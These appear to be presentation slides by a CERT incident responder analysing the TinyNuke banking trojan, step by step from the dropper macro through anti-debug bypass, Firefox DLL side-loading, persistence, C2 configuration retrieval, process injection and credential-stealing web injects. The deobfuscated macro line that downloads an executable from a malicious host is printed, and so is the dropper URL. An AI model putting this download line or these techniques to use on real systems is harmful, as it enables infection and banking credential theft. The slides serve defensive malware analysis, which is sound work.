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WHOAMI

void main () {

char name[] = “Nha-Khanh Nguyen”; // @N1aKan

char job[] = "Incident response handler“; // most of the time, doing forensics

char team[] = "CERT – DFIR Team";

char company[] = "digital.security"; // French IOT security company

char hobby[] = “Newbie malware analyst”; // in my spare time

return 0;

}



LAB SETUP { BASIC & SIMPLE }

Host Analysis

VM

× Tor

× Traffic redirection

× IDA

× Sysinternals

Torrified traffic



LET’S START!



TINYNUKE { OR NUKEBOT OR NUCLEARBOT OR MICROBANKINGTROJAN OR XBOT }

× Malware type: Banking Trojan

× First sample identified: March 2017

× Analyzed sample: 466847a756baee0e75f462676ee07430 (25-Apr-17)

 Story of a French teenager who wants to sell its malware on the 

darknet

 Pushing people to buy its super undetectable and multi-featured 

malware…

 Result  /ban from darknet forum (Reason: may be a scammer)

 “Nobody trust me? Fine!”



TINYNUKE { OR NUKEBOT OR NUCLEARBOT OR MICROBANKINGTROJAN OR XBOT }

× Malware type: Banking Trojan

× First sample identified: March 2017

× Analyzed sample: 466847a756baee0e75f462676ee07430 (25-Apr-17)

TinyNuke

code leakage
Mar-2017

Second

attack wave
Sept/Oct-2017

First

attack wave
Mar/Apr-2017

Second

attack wave
Apr/May-2018

“localhost” versions Functional versions Buggy versions

Last known

attack wave
Jun/Jul-2018



FIRST CONTACT { THE DROPPER }

http://iluvmyhuman.com/facture.zip



WHAT’S IN THIS FILE? { THE DROPPER }

Facture.zip

Bordereau.bmp  0 Kb

Facture_20977498.doc   90,6 Kb

 String the file!

A bit heavy for a text file…



WHAT’S IN THIS FILE? { THE DROPPER }

 A bunch of code appears!

 Seems to be VB.net

 Is this malicious?



WHAT’S IN THIS FILE? { THE DROPPER }

Facture.zip

Bordereau.bmp  0 Kb

Facture_20977498.doc   90,6 Kb

 String the file!

 Extract Word macro

• Oledump.py

• OfficeMalScanner (only Windows)

• etc



MACRO CODE { THE DROPPER }



MACRO CODE { THE DROPPER }

Replacing “execute()” by “MsgBox” or other 

print func.

Tools (ViperMonkey, MS Script Editor…)

By hand…



DEOBFUSCATE IT! { THE DROPPER }

 OK... So let’s name the variables

 So what is this function’s purpose…

 …and here…WTF, why is it doing 

that?!



1 HOUR LATER…



DEOBFUSCATE IT! { THE DROPPER }

 Hey, why just don’t print the 

variables…?

 Oh… wait



DEOBFUSCATE IT! { THE DROPPER }

[…].DowloadFile(‘https://matertieka.com/DL/facture.exe’, 

’C:\Users\Public\facture logistique.exe’)



SANDBOXING THE EXEC FILE { THE INSTALLER }

 Start

 Put the “facture logistique.exe” in your 

favorite debugger…

 What if I run it?



SANDBOXING THE EXEC FILE { THE INSTALLER }

 Start

 Ok… it crashed

 Maybe anti-debug or anti-VM?



So… what can it be ? 

× Maybe anti-debugg techniques

× API calls (getCurrentProcess, NtQueryProcessInfo, isDebuggerPresent… )

× Flags (SINGLE_STEP exception, IsDebugged, NtGlobalFlag… )

× Breakpoints check (0xCC byte, DR0…DR4 debug register… )

× Rogue instructions (INT3, INT 2Dh… )

× Timing (GetTickCount, GetLocalTime… )

× Etc.

× Or any anti-VM technics… ¯\_(ツ)_/¯

SANDBOXING THE EXEC FILE { THE INSTALLER }



SANDBOXING THE EXEC FILE { THE INSTALLER }

 Tree of processes spawned before the 

crash

 Have to find a way to avoid to be 

exited…



BYPASS ANTI-DEBUG { THE INSTALLER }

 Creating “facture logistique.exe” 

process

 Malware directory: 

%APPDATA%\Local\Temp\is-XXXXX\



BYPASS ANTI-DEBUG { THE INSTALLER }

 Stepping after CreateProcessA  error

 4th argument: CreationFlags

 kind of creation mode for the process



BYPASS ANTI-DEBUG { THE INSTALLER }

 Value 0x00000004

The primary thread of the new process is 

created in a suspended state, and does 

not run until the ResumeThread function is 

called.

https://docs.microsoft.com/en-

us/windows/desktop/procthread/proces

s-creation-flags



BYPASS ANTI-DEBUG { THE INSTALLER }



FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

 Let’s now attach to “facture logistique.tmp” to 

access it’s code

 Breakpoint again on the CreateProcessA (should 

spawn firefox.exe)

 Run!



FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

 Drops tons of Dlls and other files in the 

is-xxxxx folder

 Ok! I just installed the malware!



FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

 Drops a picture (each variants has its 

own custom picture !)

 And a legitimate old version of 

firefox.exe…?
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FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

 Drops a picture (each variants has its 

own custom picture !)

 And a legitimate old version of 

firefox.exe…?



FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

 Back to our CreateProcess, 

where we break earlier

 Let’s spawn the firefox.exe 

process!



FACTURE LOGISTIQUE.TMP [ATTACHED] { THE INSTALLER }

 Rings a bell ?

 Let’s spawn the firefox.exe 

process !



FIREFOX.EXE [ATTACHED] { THE INSTALLER }

 Loads loooots of libraries 

and…

 … Dependentlibs.list?



FIREFOX.EXE [ATTACHED] { THE INSTALLER }

 Old versions of Firefox load 

the dependentlibs.list file

 This file contains any library 

you want…

 Vulnerability used: lack of 

integrity check

 Now we have our payload!



DATA.DLL { THE LOADER }

 Break on accessing 

data.dll

 Creation of a thread

 Let’s dive into it



DATA.DLL { THE LOADER }

 Checking system and 

keyboard language

 Would continue if result is 

“0C”

 “0C” is code for… French 

language!



UNPACK { THE LOADER }

 Decipher itself into the memory

 Hardcoded XOR key for each strings

 Major part of malwares are packed

 obfuscation, sizing issues… 



PERSISTENCE { THE LOADER }

File permissions

 To survive reboot, malware often deploy persistence

 Tiny nuke does basic persistence:

 Creation of a folder



PERSISTENCE { THE LOADER }
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 Dropping again its files

(old vulnerable firefox.exe included)



PERSISTENCE { THE LOADER }

 To survive reboot, malware often deploy persistence

 Tiny nuke does basic persistence:

 Creation of a folder

 Dropping again its files

(old vulnerable firefox.exe included)

 Creation of a .lnk file for firefox.exe in the startup 

folder



CREATING MUTEX { THE LOADER }

 Mutex: avoid a machine to get re-infected

 If the mutex has already been created, exit



SPAWNING FIREFOX.EXE AGAIN ! { THE INSTALLER }

 Rings a bell?

 And what process is going to spawn now?

 Firefox.exe! …what, again?!



FIREFOX.EXE AGAIN… AND THEN AGAIN { THE INSTALLER }

DATA.DLL UNPACK PERSISTANCE



DLLHOST.EXE { THE PAYLOAD }

WinINet API calls

 Finally, create Dllhost.exe

Push the string

Call WinInet APIs

Create the process

WinInet? Maybe we can get the 

configuration file here!



CHECKING SYSTEM VERSION { THE LOADER }

32 bits 64 bits

 Check OS version

 to download the 

corresponding configuration file



CONNECTING TO THE C2 { THE LOADER }

 Finally! It Initiates the connection to 

the C2!

 C2’s URL has been unpacked into 

the memory before



GETTING THE CONFIGURATION { THE LOADER }

InternetSetOption

HttpOpenRequest

HttpOpenRequest

HttpAddRequestHeader

HttpSendRequest

HttpQueryInfo

InternetReadFile

 Typically a connection 

scheme:

1. Crafting the request

2. Adding it to the header

3. Sending it

4. Getting the information



GETTING THE CONFIGURATION { THE LOADER }

 The C2 send the configuration to 

the malware

 The malware stores it into the 

memory



GETTING THE CONFIGURATION { THE LOADER }

 The configuration is deciphered 

just after

 Again, into the memory

 Now, go and dump it! Goal 

reached!



SPAWNING DLLHOST.EXE { THE PAYLOAD }

 Now the malware has the 

configuration

 Dllhost.exe is spawned (naturally 

in suspended mode)



PROCESS INJECTION { THE PAYLOAD }

Dllhost.exe

 Just after a VirtualAllocEx (to 

make some place in the process)

 Call WriteProcessMem

 typically a process injection

 Now the dllhost is running with the 

configuration, loaded by 

firefox.exe:



INJECTS.JSON { THE INJECTS }

 When hitting these URLs 

 Trigger the corresponding 

malicious JS code

 Keylogging users credentials

 What does a CERT do with that?

 Warn targeted clients

 Takedown malicious URLs

 Block the malicious URLs

 Populate community malware 

platform

 Share intelligence to other 

CERTs… 



WordArt FTW


